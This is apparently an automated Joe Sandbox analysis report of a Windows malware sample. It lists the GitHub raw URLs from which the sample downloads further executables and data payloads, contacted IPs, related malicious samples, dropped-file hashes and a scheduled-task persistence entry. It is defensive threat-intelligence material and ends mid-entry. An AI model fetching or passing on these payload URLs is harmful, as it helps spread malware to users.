http://www.zlib.net/	svchost.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeU	Ld0f3NDosJ.exe, 00000003.00000002.2356237105.000001E8BF34C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mingw-w64.sourceforge.net/X	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/docs/copyright.html	svchost.exe, console_zero.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://worldtimeapi.org/api/timezone/Etc/UTC	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2612733960.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp, console_zero.exe, 0000003B.00000002.2612200244.000001D64B0CC000.00000004.00000020.00020000.00000000.sdmp, console_zero.exe, 0000003B.00000000.2583942814.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.zlib.net/D	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363113098.00007FFDA5547000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000003B.00000002.2612942389.00007FFDA5547000.00000002.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
https://curl.se/docs/hsts.html#	console_zero.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe.net1&0	Ld0f3NDosJ.exe, 00000003.00000002.2356655360.000001E8C10D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe06	Ld0f3NDosJ.exe, 00000003.00000002.2356655360.000001E8C10D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/json	pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.openssl.org/H	Ld0f3NDosJ.exe, 00000003.00000003.2284751779.000001E8C10DD000.00000004.00000020.00020000.00000000.sdmp, pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmp, svchost.exe, 00000035.00000002.3362491724.00007FFD93C8E000.00000002.00000001.01000000.00000010.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/amdg.dat	svchost.exe, 00000035.00000002.3360728429.000001BB8BA13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeC:	Ld0f3NDosJ.exe, 00000003.00000002.2356468392.000001E8BF422000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334778364.000001E8BF422000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://worldtimeapi.org/api/timezone/Etc/UTCapplication/octet-streamtext/plain;	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, console_zero.exe, 0000003B.00000002.2612733960.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp, console_zero.exe, 0000003B.00000000.2583942814.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html#	svchost.exe, console_zero.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/panchitopistolesx/items/raw/main/my_backup_a	svchost.exe, 00000035.00000002.3361917101.000001BB8BD29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/nvg.dat	svchost.exe, 00000035.00000002.3360728429.000001BB8BA13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.gnu.org/licenses/	pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3360185514.00000000682A4000.00000008.00000001.01000000.0000000F.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/V	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, 0000003B.00000002.2613577176.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpu.dat	svchost.exe, 00000035.00000003.2846038368.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2914585077.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3178715641.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3113596577.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3361335703.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3048858018.000001BB8BAF2000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
38.180.213.183	runvrs.com	United States	174	COGENT-174US	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1496433
Start date and time:	2024-08-21 09:38:50 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	109
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ld0f3NDosJ.exe renamed because original name is a hash value
Original Sample Name:	00948444f3e248047722667419d54205.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@157/53@5/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, mm-mm.bing.net.trafficmanager.net, ctldl.windowsupdate.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target pyld64.exe, PID 4388 because there are no executed function
Execution Graph export aborted for target usvcinsta64.exe, PID 2736 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:39:47	API Interceptor	112x Sleep call for process: powershell.exe modified
03:40:25	API Interceptor	9x Sleep call for process: svchost.exe modified
03:40:29	API Interceptor	2x Sleep call for process: console_zero.exe modified
09:40:30	Task Scheduler	Run new task: console_zero path: C:\Windows\System32\console_zero.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.59.81	mekotio_xoredps1.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	DevolucionImpuestoJulioTGR.cmd_BQVDQNuQQAGG.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	mek_n_bat.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	z30PO1028930.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse	ipinfo.io/ip
	SecuriteInfo.com.Win32.KeyloggerX-gen.20370.1036.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	SecuriteInfo.com.Win32.KeyloggerX-gen.20370.1036.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	IP-Grabber.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	BadUsb.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	ZmYfQBiw.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/
185.199.108.133	https://github.com/Runsim12/Cleodf/raw/main/Tran_ID-Details009192_End_Ids_58788719853478_Pdf.rar	Get hash	malicious	Unknown	Browse
	https://authenticatesrv.spiritproducts.net/ck1/2d6f.7c034e718db46b30/419a3880-5f16-11ef-b8e1-525400721611/9f8bdc6e12526302fc1bc1642c86f78252fda8c1/2?e=Nm%2BKwgX31zZZHmcYOfoRL7XItJEu0aj7qdUQZVkwW4SjJAvb0T0NYaII1ijFN8OsBsszx8gv12KAbT3RDPMeVw%2FbefV4L1yqgi%2FKG9lD6NQTrh%2BQ2ox9o1TV16RIuHKx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	Payment Ref_29199_118001.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	Secure_Transmission_Approval.htm	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	Secure_Transmission_Approval.htm	Get hash	malicious	Unknown	Browse
	V58VVR64wc.exe	Get hash	malicious	Unknown	Browse
	OD8uS0ksdv.exe	Get hash	malicious	Unknown	Browse
	Lhz7Qbbaap.exe	Get hash	malicious	Unknown	Browse
	https://pzjop.allaeima.com/A1p9Z/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	Direct - Deposit # 3576_.htm	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
140.82.121.3	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	34.117.59.81
	nf075-4d-qns0-w383.msi	Get hash	malicious	Unknown	Browse	34.117.59.81
	webWin.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	W1nner client.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	http://telegramn.club/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	http://telcegram.cc/	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://teloegram.club/	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	mekotio_xoredps1.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	WWAHost.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	34.117.59.81
github.com	1C24TYY-H#U00f3a #U0111#U01a1n #U0111i#U1ec7n t#U1eed.jar	Get hash	malicious	STRRAT	Browse	140.82.121.3
	https://github.com/Runsim12/Cleodf/raw/main/Tran_ID-Details009192_End_Ids_58788719853478_Pdf.rar	Get hash	malicious	Unknown	Browse	140.82.121.3
	proof of payment.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	https://authenticatesrv.spiritproducts.net/ck1/2d6f.7c034e718db46b30/419a3880-5f16-11ef-b8e1-525400721611/9f8bdc6e12526302fc1bc1642c86f78252fda8c1/2?e=Nm%2BKwgX31zZZHmcYOfoRL7XItJEu0aj7qdUQZVkwW4SjJAvb0T0NYaII1ijFN8OsBsszx8gv12KAbT3RDPMeVw%2FbefV4L1yqgi%2FKG9lD6NQTrh%2BQ2ox9o1TV16RIuHKx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.3
	https://q68o.giantrype.com/8BSXIBCv/	Get hash	malicious	Tycoon2FA	Browse	140.82.121.4
	https://q68o.giantrype.com/8BSXIBCv/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	Payment Ref_96379_774494.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.112.3
	Payment Ref_29199_118001.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	Secure_Transmission_Approval.htm	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.3
raw.githubusercontent.com	OD8uS0ksdv.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	OD8uS0ksdv.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	Y1e7n1NMkI.exe	Get hash	malicious	Coinhive	Browse	185.199.110.133
	lEzFKwZJRA.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	PSZIOD9wM7.exe	Get hash	malicious	LummaC, Go Injector	Browse	185.199.110.133
	Setup_s.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	AutoOC_GPU.exe	Get hash	malicious	Luna Stealer	Browse	185.199.108.133
	SecuriteInfo.com.Win64.Evo-gen.15723.9736.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	SecuriteInfo.com.Win64.MalwareX-gen.28480.11199.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	185.199.110.133
	http://dapp-cuteid.cvnlab.com/	Get hash	malicious	Unknown	Browse	185.199.111.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	Atlas Copco- WEPCO.exe	Get hash	malicious	FormBook	Browse	154.23.184.194
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	149.107.159.240
	jew.x86.elf	Get hash	malicious	Unknown	Browse	136.161.34.85
	53QoH91Zg3.exe	Get hash	malicious	Unknown	Browse	23.237.96.90
	Document 21824RXVPO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	154.23.184.141
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	38.211.255.230
	https://ushcada.top/	Get hash	malicious	Unknown	Browse	149.115.239.8
	A_2.exe	Get hash	malicious	FormBook	Browse	38.238.78.186
	xd.arm.elf	Get hash	malicious	Mirai	Browse	154.25.218.18
	x86.elf	Get hash	malicious	Unknown	Browse	38.162.129.255
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	34.117.59.81
	https://monogogo.info/JQJMLAWN#em=npaladino@bigge.com	Get hash	malicious	Phisher	Browse	34.117.39.58
	https://l.facebook.com/l.php?u=https%3A%2F%2Fshorten.tv%2F%40helpcontact854939854%3Ffbclid%3DIwZXh0bgNhZW0CMTAAAR0AlBWT8tz2ATnLxZarfLrJKfzX-PTT2xLYu__SILtfzriXSPrd_VaQ_ec_aem_RKx-cZnVIEeJshcNUM3bDw&h=AT1nrUfgKAY-l-qrEUgKghjlBQ4Hw-C3zCH42kR3K0v-nyHHp3WxV3Xt8-4Aa5wwFKYewV7x9VvrM84jIGiP4fXXAQecfZh13KPtsvx16U5h91HCqz40KTpMlRSlpgITs6M	Get hash	malicious	Unknown	Browse	34.117.101.88
	nf075-4d-qns0-w383.msi	Get hash	malicious	Unknown	Browse	34.117.59.81
	kovENvYM9C.elf	Get hash	malicious	Unknown	Browse	34.117.230.253
	http://pickvibe.lt/lt/p/miestu-renginiai/renginiai-naujojoje-akmeneje	Get hash	malicious	Unknown	Browse	34.117.239.71
	webWin.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	W1nner client.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
GITHUBUS	1C24TYY-H#U00f3a #U0111#U01a1n #U0111i#U1ec7n t#U1eed.jar	Get hash	malicious	STRRAT	Browse	140.82.121.3
	https://github.com/Runsim12/Cleodf/raw/main/Tran_ID-Details009192_End_Ids_58788719853478_Pdf.rar	Get hash	malicious	Unknown	Browse	140.82.121.3
	proof of payment.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	http://dineshramgovindaraj.github.io/netflix	Get hash	malicious	Unknown	Browse	140.82.114.18
	https://authenticatesrv.spiritproducts.net/ck1/2d6f.7c034e718db46b30/419a3880-5f16-11ef-b8e1-525400721611/9f8bdc6e12526302fc1bc1642c86f78252fda8c1/2?e=Nm%2BKwgX31zZZHmcYOfoRL7XItJEu0aj7qdUQZVkwW4SjJAvb0T0NYaII1ijFN8OsBsszx8gv12KAbT3RDPMeVw%2FbefV4L1yqgi%2FKG9lD6NQTrh%2BQ2ox9o1TV16RIuHKx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.3
	https://q68o.giantrype.com/8BSXIBCv/	Get hash	malicious	Tycoon2FA	Browse	140.82.121.4
	https://q68o.giantrype.com/8BSXIBCv/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	Payment Ref_96379_774494.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.112.3
	Payment Ref_29199_118001.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.4
	Secure_Transmission_Approval.htm	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.121.3
FASTLYUS	1C24TYY-H#U00f3a #U0111#U01a1n #U0111i#U1ec7n t#U1eed.jar	Get hash	malicious	STRRAT	Browse	199.232.196.209
	https://dl.dropboxusercontent.com/scl/fi/4owe58ovn1ed21kp09mar/Rechnung-201528807699-vom-30.07.2024.zip?	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://github.com/Runsim12/Cleodf/raw/main/Tran_ID-Details009192_End_Ids_58788719853478_Pdf.rar	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://doc.clickup.com/9014542322/d/h/8cmxzzj-434/d3ec30ee79aa63a	Get hash	malicious	HTMLPhisher	Browse	151.101.195.9
	proof of payment.jar	Get hash	malicious	STRRAT	Browse	199.232.196.209
	https://benyera.com/workprojects/index.php	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.dropbox.com/l/scl/AAC7bZ0VQI_UDvxV34o89OGVuGeoyGILFFw	Get hash	malicious	Unknown	Browse	151.101.8.157
	https://competitiveplumbing.com.au/	Get hash	malicious	HTMLPhisher	Browse	151.101.129.140
	http://freeusps.com/collections/love-wedding/products/love-flourishes-2018-4946	Get hash	malicious	Unknown	Browse	199.232.188.159
	https://akashguptaji.github.io/netflix/	Get hash	malicious	HTMLPhisher	Browse	185.199.109.153

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	SecuriteInfo.com.Win32.MalwareX-gen.12431.9721.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	SecuriteInfo.com.Win32.MalwareX-gen.12431.9721.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	file.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	file.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	gutpOKDunr.exe	Get hash	malicious	Xmrig	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	idman642build18Full.exe	Get hash	malicious	Fredy Stealer	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	idman642build18Full.exe	Get hash	malicious	Fredy Stealer	Browse	185.199.108.133 140.82.121.3 34.117.59.81
	IObit Advanced System Care Pro.exe	Get hash	malicious	Fredy Stealer	Browse	185.199.108.133 140.82.121.3 34.117.59.81
37f463bf4616ecd445d4a1937da06e19	air_way_bill_Dhl_invoice_bl_pl_21_08_2024_00000000.xls	Get hash	malicious	Unknown	Browse	185.199.108.133
	Tracking_Invoice_Awb_BL_00340434757340073972.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.199.108.133
	August_September_Purchase_Order_xls_0029102008202024.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.199.108.133
	groupfunctionpro.exe	Get hash	malicious	Latrodectus	Browse	185.199.108.133
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	185.199.108.133
	DonghwanPOGM210820242020032108174KR18190824pu.vbs	Get hash	malicious	GuLoader, Remcos	Browse	185.199.108.133
	file.exe	Get hash	malicious	Zhark RAT	Browse	185.199.108.133
	sample.exe	Get hash	malicious	FormBook, GuLoader	Browse	185.199.108.133
	ExeFile (274).exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	ExeFile (308).exe	Get hash	malicious	Unknown	Browse	185.199.108.133

Process:	C:\Windows\System32\crypti.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:ktUOI2Gn:kI2Gn
MD5:	B101F729FB1107BF23CE00FBF4A10A7F
SHA1:	A65B1C3C3C56A10D62B8FF00E7F10BA1E54AA58B
SHA-256:	B2F87025C70B31CBF2BC3E3A6995A93B0F469A8D72AB7E45C73D1DCFB49135CB
SHA-512:	8FA5EE1410B19549497D974F705D95ED603E59AE1BAD3D6DCBC0AB7B9AE41242C3871CAF7354163692154D80990EB3788670F084650CE32EBE94E1508CB9CB96
Malicious:	false
Preview:	!...S..%.e..-.c

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe

Download File

Process:	C:\Users\user\Desktop\Ld0f3NDosJ.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15180800
Entropy (8bit):	6.5564607842905644
Encrypted:	false
SSDEEP:	393216:4PsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCvfxlXnwXAaGueVW3XSdEVB3:4ITkS6
MD5:	43BCE45D873189F9AE2767D89A1C46E0
SHA1:	34BC871A24E54A83740E0DF51320B9836D8B820B
SHA-256:	9AE4784F0B139619CA8FDADFA31B53B1CBF7CD2B45F74B7E4004E5A97E842291
SHA-512:	F3424B65C72E242E77E5129903B4DC42FB94076402D24C9F2CEA07FF117761942ECEDEC43E0AD6E39EF61628ED0C4709BE7706E3C20537D476EDB57DF2521380
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18% Antivirus: Virustotal, Detection: 65%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........l..?..?..?.,.>`..?.,.>..?.,.>..?.).>..?.).>..?.).>...?.,.>..?..?V..?.(.>..?.(z?..?.(.>..?Rich..?........PE..d...hC.f.........."....).............5.........@..........................................`.................................................dC..<................7......................8...............................@...............`............................text............................... ..`.rdata...n.......p..................@..@.data... /...P.......D..............@....pdata...7.......8...\..............@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cpijhtc.sbq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ftubh3y.1oa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
